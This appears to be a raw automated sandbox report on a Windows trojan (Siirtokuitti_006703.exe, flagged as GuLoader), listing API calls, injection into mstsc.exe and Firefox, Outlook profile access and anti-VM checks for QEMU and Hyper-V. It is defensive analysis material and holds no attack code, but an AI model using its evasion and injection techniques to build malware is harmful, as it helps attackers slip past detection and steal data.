Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_091D6A7A NtCreateFile,	1_2_091D6A7A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046834E0 NtCreateMutant,LdrInitializeThunk,	5_2_046834E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682C30 NtMapViewOfSection,LdrInitializeThunk,	5_2_04682C30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682CF0 NtDelayExecution,LdrInitializeThunk,	5_2_04682CF0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682D10 NtQuerySystemInformation,LdrInitializeThunk,	5_2_04682D10
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682DC0 NtAdjustPrivilegesToken,LdrInitializeThunk,	5_2_04682DC0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682E50 NtCreateSection,LdrInitializeThunk,	5_2_04682E50
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682F00 NtCreateFile,LdrInitializeThunk,	5_2_04682F00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046829F0 NtReadFile,LdrInitializeThunk,	5_2_046829F0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682A10 NtWriteFile,LdrInitializeThunk,	5_2_04682A10
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682AC0 NtEnumerateValueKey,LdrInitializeThunk,	5_2_04682AC0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682A80 NtClose,LdrInitializeThunk,	5_2_04682A80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682B00 NtQueryValueKey,LdrInitializeThunk,	5_2_04682B00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682B10 NtAllocateVirtualMemory,LdrInitializeThunk,	5_2_04682B10
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682BC0 NtQueryInformationToken,LdrInitializeThunk,	5_2_04682BC0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682B80 NtCreateKey,LdrInitializeThunk,	5_2_04682B80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682B90 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_04682B90
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04684570 NtSuspendThread,	5_2_04684570
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04684260 NtSetContextThread,	5_2_04684260
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682C50 NtUnmapViewOfSection,	5_2_04682C50
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682C20 NtSetInformationFile,	5_2_04682C20
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04683C30 NtOpenProcessToken,	5_2_04683C30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682C10 NtOpenProcess,	5_2_04682C10
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682CD0 NtEnumerateKey,	5_2_04682CD0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04683C90 NtOpenThread,	5_2_04683C90
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682D50 NtWriteVirtualMemory,	5_2_04682D50
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682DA0 NtReadVirtualMemory,	5_2_04682DA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682E00 NtQueueApcThread,	5_2_04682E00
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682EC0 NtQuerySection,	5_2_04682EC0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682ED0 NtResumeThread,	5_2_04682ED0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682EB0 NtProtectVirtualMemory,	5_2_04682EB0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682E80 NtCreateProcessEx,	5_2_04682E80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682F30 NtOpenDirectoryObject,	5_2_04682F30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682FB0 NtSetValueKey,	5_2_04682FB0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046838D0 NtGetContextThread,	5_2_046838D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046829D0 NtWaitForSingleObject,	5_2_046829D0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682AA0 NtQueryInformationFile,	5_2_04682AA0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682B20 NtQueryInformationProcess,	5_2_04682B20
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04682BE0 NtQueryVirtualMemory,	5_2_04682BE0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0034CA80 NtCreateFile,	5_2_0034CA80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0034CB30 NtReadFile,	5_2_0034CB30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0034CBB0 NtClose,	5_2_0034CBB0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0034CB80 NtDeleteFile,	5_2_0034CB80
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0034CC60 NtAllocateVirtualMemory,	5_2_0034CC60
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0034CA7A NtCreateFile,	5_2_0034CA7A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0034CB7C NtDeleteFile,	5_2_0034CB7C
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0034CBAA NtDeleteFile,	5_2_0034CBAA

Source: Siirtokuitti_006703.exe, 00000001.00000003.19304004948.0000000009272000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemstsc.exej% vs Siirtokuitti_006703.exe
Source: Siirtokuitti_006703.exe, 00000001.00000003.19306032866.00000000094DB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemstsc.exej% vs Siirtokuitti_006703.exe
Source: Siirtokuitti_006703.exe, 00000003.00000003.19325433829.00000000374AE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamemstsc.exej% vs Siirtokuitti_006703.exe
Source: Siirtokuitti_006703.exe, 00000003.00000003.19283597652.000000003755E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Siirtokuitti_006703.exe

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Section loaded: edgegdi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Section loaded: edgegdi.dll	Jump to behavior

Source: Siirtokuitti_006703.exe	ReversingLabs: Detection: 37%
Source: Siirtokuitti_006703.exe	Virustotal: Detection: 49%

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe

File read: C:\Users\user\Desktop\Siirtokuitti_006703.exe

Source: Siirtokuitti_006703.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: unknown	Process created: C:\Users\user\Desktop\Siirtokuitti_006703.exe C:\Users\user\Desktop\Siirtokuitti_006703.exe
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Process created: C:\Users\user\Desktop\Siirtokuitti_006703.exe C:\Users\user\Desktop\Siirtokuitti_006703.exe
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Process created: C:\Windows\SysWOW64\mstsc.exe C:\Windows\SysWOW64\mstsc.exe
Source: C:\Windows\SysWOW64\mstsc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe
Source: C:\Program Files\Mozilla Firefox\firefox.exe	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 8968 -s 120
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Process created: C:\Users\user\Desktop\Siirtokuitti_006703.exe C:\Users\user\Desktop\Siirtokuitti_006703.exe	Jump to behavior
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Process created: C:\Windows\SysWOW64\mstsc.exe C:\Windows\SysWOW64\mstsc.exe	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe C:\Program Files\Mozilla Firefox\Firefox.exe	Jump to behavior

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{1f486a52-3cb1-48fd-8f50-b8dc300d9f9d}\InProcServer32

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe

1_2_00403489

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\Standpost

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe

File created: C:\Users\user\AppData\Local\Temp\nsf283.tmp

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@8/9@23/17

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe

Code function: 1_2_004020FE LdrInitializeThunk,CoCreateInstance,LdrInitializeThunk,

1_2_004020FE

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe

Code function: 1_2_00404814 GetDlgItem,SetWindowTextW,LdrInitializeThunk,LdrInitializeThunk,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,LdrInitializeThunk,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,

1_2_00404814

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe

File created: C:\Program Files (x86)\Sandpapiret

Source: C:\Windows\SysWOW64\mstsc.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe

Registry value created: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Carmen

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: Siirtokuitti_006703.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: mshtml.pdb source: Siirtokuitti_006703.exe, 00000003.00000001.19133084777.0000000000649000.00000020.00000001.01000000.00000005.sdmp
Source:	Binary string: wntdll.pdbUGP source: Siirtokuitti_006703.exe, 00000003.00000003.19290237020.00000000375EA000.00000004.00000020.00020000.00000000.sdmp, Siirtokuitti_006703.exe, 00000003.00000003.19283597652.000000003743B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: Siirtokuitti_006703.exe, 00000003.00000003.19290237020.00000000375EA000.00000004.00000020.00020000.00000000.sdmp, Siirtokuitti_006703.exe, 00000003.00000003.19283597652.000000003743B000.00000004.00000020.00020000.00000000.sdmp, mstsc.exe
Source:	Binary string: mstsc.pdbGCTL source: Siirtokuitti_006703.exe, 00000001.00000003.19306032866.00000000093B9000.00000004.00000020.00020000.00000000.sdmp, Siirtokuitti_006703.exe, 00000001.00000003.19304004948.0000000009272000.00000004.00000020.00020000.00000000.sdmp, Siirtokuitti_006703.exe, 00000003.00000003.19325433829.00000000374AE000.00000004.00000020.00020000.00000000.sdmp, Siirtokuitti_006703.exe, 00000003.00000003.19327317521.0000000000061000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mshtml.pdbUGP source: Siirtokuitti_006703.exe, 00000003.00000001.19133084777.0000000000649000.00000020.00000001.01000000.00000005.sdmp
Source:	Binary string: mstsc.pdb source: Siirtokuitti_006703.exe, 00000001.00000003.19306032866.00000000093B9000.00000004.00000020.00020000.00000000.sdmp, Siirtokuitti_006703.exe, 00000001.00000003.19304004948.0000000009272000.00000004.00000020.00020000.00000000.sdmp, Siirtokuitti_006703.exe, 00000003.00000003.19325433829.00000000374AE000.00000004.00000020.00020000.00000000.sdmp, Siirtokuitti_006703.exe, 00000003.00000003.19327317521.0000000000061000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Yara detected GuLoader

Source: Yara match

File source: 00000001.00000002.19311035785.000000000849F000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_10002DE0 push eax; ret	1_2_10002E0E
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_0332777A push edi; retf	1_2_03327789
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03328B52 push esi; iretd	1_2_03328B62
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03324AE1 push ebp; iretd	1_2_03324AE4
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_033272D0 push es; retf	1_2_033272D3
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_033286D5 push edx; retf	1_2_033286E8
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03329178 push ds; ret	1_2_0332917C
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03325551 pushfd ; ret	1_2_03325552
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_0332619F push ss; ret	1_2_033261A1
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03325428 push edi; retf	1_2_03325445
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_03329C41 push esi; iretd	1_2_03329C4A
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_091C60BB push ss; retf	1_2_091C60BD
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_091BE0D2 push esp; ret	1_2_091BE0D4
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_091D30CA push esi; iretd	1_2_091D30CB
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_091C5D38 pushfd ; retf	1_2_091C5D42
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_091C8DE2 pushad ; retf	1_2_091C8DE5
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_091C5E01 push E0A5A067h; ret	1_2_091C5E27
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01669178 push ds; ret	3_2_0166917C
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01665551 pushfd ; ret	3_2_01665552
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_0166619F push ss; ret	3_2_016661A1
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01669C41 push esi; iretd	3_2_01669C4A
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01665428 push edi; retf	3_2_01665445
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_0166777A push edi; retf	3_2_01667789
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01668B52 push esi; iretd	3_2_01668B62
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_01664AE1 push ebp; iretd	3_2_01664AE4
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_016686D5 push edx; retf	3_2_016686E8
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 3_2_016672D0 push es; retf	3_2_016672D3
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046197A1 push es; iretd	5_2_046197A8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046121AD pushad ; retf 0004h	5_2_0461223F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046408CD push ecx; mov dword ptr [esp], ecx	5_2_046408D6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0033C0BB push ss; retf	5_2_0033C0BD

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe

Code function: 1_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

1_2_10001B18

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe

File created: C:\Users\user\AppData\Local\Temp\nsl3DD.tmp\System.dll

Jump to dropped file

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior

Malware Analysis System Evasion

Tries to detect Any.run

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	File opened: C:\Program Files\Qemu-ga\qemu-ga.exe	Jump to behavior
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	File opened: C:\Program Files\qga\qga.exe	Jump to behavior

Source: Siirtokuitti_006703.exe, 00000001.00000002.19309297853.0000000000757000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXET~B
Source: Siirtokuitti_006703.exe, 00000001.00000002.19309297853.0000000000795000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXERI&

Source: C:\Windows\SysWOW64\mstsc.exe TID: 8556	Thread sleep count: 126 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe TID: 8556	Thread sleep time: -252000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 8848	Thread sleep time: -65000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 8848	Thread sleep count: 32 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 8848	Thread sleep time: -48000s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 8848	Thread sleep count: 42 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 8848	Thread sleep time: -42000s >= -30000s	Jump to behavior

Source: C:\Windows\SysWOW64\mstsc.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\mstsc.exe	Last function: Thread delayed
Source: C:\Windows\explorer.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe

Code function: 1_2_091D70E2 rdtsc

1_2_091D70E2

Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 890			Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: foregroundWindowGot 866			Jump to behavior

Source: C:\Windows\SysWOW64\mstsc.exe

API coverage: 2.6 %

Source: C:\Windows\SysWOW64\mstsc.exe

Process information queried: ProcessInformation

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_004066F3 FindFirstFileW,FindClose,	1_2_004066F3
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_00405ABE CloseHandle,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	1_2_00405ABE
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Code function: 1_2_00402862 FindFirstFileW,	1_2_00402862
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_00343470 FindFirstFileW,FindNextFileW,FindClose,	5_2_00343470
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_003435A5 FindFirstFileW,FindNextFileW,FindClose,	5_2_003435A5

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	API call chain: ExitProcess graph end node			graph_1-25880
Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	API call chain: ExitProcess graph end node			graph_1-25883

Source: Siirtokuitti_006703.exe, 00000001.00000002.19421830249.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Shutdown Service
Source: Siirtokuitti_006703.exe, 00000001.00000002.19421830249.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Remote Desktop Virtualization Service
Source: Siirtokuitti_006703.exe, 00000001.00000002.19421830249.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicshutdown
Source: Siirtokuitti_006703.exe, 00000001.00000002.19421830249.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Volume Shadow Copy Requestor
Source: Siirtokuitti_006703.exe, 00000001.00000002.19421830249.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V PowerShell Direct Service
Source: Siirtokuitti_006703.exe, 00000001.00000002.19421830249.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Time Synchronization Service
Source: Siirtokuitti_006703.exe, 00000001.00000002.19421830249.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicvss
Source: Siirtokuitti_006703.exe, 00000003.00000003.19288047371.000000000761A000.00000004.00000020.00020000.00000000.sdmp, Siirtokuitti_006703.exe, 00000003.00000003.19286802147.000000000761A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Siirtokuitti_006703.exe, 00000001.00000002.19309297853.0000000000757000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exet~B
Source: Siirtokuitti_006703.exe, 00000001.00000002.19421830249.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Data Exchange Service
Source: Siirtokuitti_006703.exe, 00000001.00000002.19421830249.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Heartbeat Service
Source: Siirtokuitti_006703.exe, 00000001.00000002.19421830249.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V Guest Service Interface
Source: Siirtokuitti_006703.exe, 00000001.00000002.19309297853.0000000000795000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exeri&
Source: Siirtokuitti_006703.exe, 00000001.00000002.19421830249.0000000010059000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: vmicheartbeat

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe

Code function: 1_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,

1_2_10001B18

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe

Code function: 1_2_091D70E2 rdtsc

1_2_091D70E2

Source: C:\Users\user\Desktop\Siirtokuitti_006703.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04648470 mov eax, dword ptr fs:[00000030h]	5_2_04648470
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04648470 mov eax, dword ptr fs:[00000030h]	5_2_04648470
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0470A464 mov eax, dword ptr fs:[00000030h]	5_2_0470A464
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046FF478 mov eax, dword ptr fs:[00000030h]	5_2_046FF478
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04650445 mov eax, dword ptr fs:[00000030h]	5_2_04650445
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04650445 mov eax, dword ptr fs:[00000030h]	5_2_04650445
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04650445 mov eax, dword ptr fs:[00000030h]	5_2_04650445
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04650445 mov eax, dword ptr fs:[00000030h]	5_2_04650445
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04650445 mov eax, dword ptr fs:[00000030h]	5_2_04650445
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04650445 mov eax, dword ptr fs:[00000030h]	5_2_04650445
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C0443 mov eax, dword ptr fs:[00000030h]	5_2_046C0443
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464D454 mov eax, dword ptr fs:[00000030h]	5_2_0464D454
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464D454 mov eax, dword ptr fs:[00000030h]	5_2_0464D454
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464D454 mov eax, dword ptr fs:[00000030h]	5_2_0464D454
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464D454 mov eax, dword ptr fs:[00000030h]	5_2_0464D454
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464D454 mov eax, dword ptr fs:[00000030h]	5_2_0464D454
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0464D454 mov eax, dword ptr fs:[00000030h]	5_2_0464D454
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467D450 mov eax, dword ptr fs:[00000030h]	5_2_0467D450
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0467D450 mov eax, dword ptr fs:[00000030h]	5_2_0467D450
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466E45E mov eax, dword ptr fs:[00000030h]	5_2_0466E45E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466E45E mov eax, dword ptr fs:[00000030h]	5_2_0466E45E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466E45E mov eax, dword ptr fs:[00000030h]	5_2_0466E45E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466E45E mov eax, dword ptr fs:[00000030h]	5_2_0466E45E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0466E45E mov eax, dword ptr fs:[00000030h]	5_2_0466E45E
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04677425 mov eax, dword ptr fs:[00000030h]	5_2_04677425
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_04677425 mov ecx, dword ptr fs:[00000030h]	5_2_04677425
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046CF42F mov eax, dword ptr fs:[00000030h]	5_2_046CF42F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046CF42F mov eax, dword ptr fs:[00000030h]	5_2_046CF42F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046CF42F mov eax, dword ptr fs:[00000030h]	5_2_046CF42F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046CF42F mov eax, dword ptr fs:[00000030h]	5_2_046CF42F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046CF42F mov eax, dword ptr fs:[00000030h]	5_2_046CF42F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463B420 mov eax, dword ptr fs:[00000030h]	5_2_0463B420
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046C9429 mov eax, dword ptr fs:[00000030h]	5_2_046C9429
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046FF409 mov eax, dword ptr fs:[00000030h]	5_2_046FF409
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046D6400 mov eax, dword ptr fs:[00000030h]	5_2_046D6400
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_046D6400 mov eax, dword ptr fs:[00000030h]	5_2_046D6400
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 5_2_0463640D mov eax, dword ptr fs:[00000030h]	5_2_0463640D
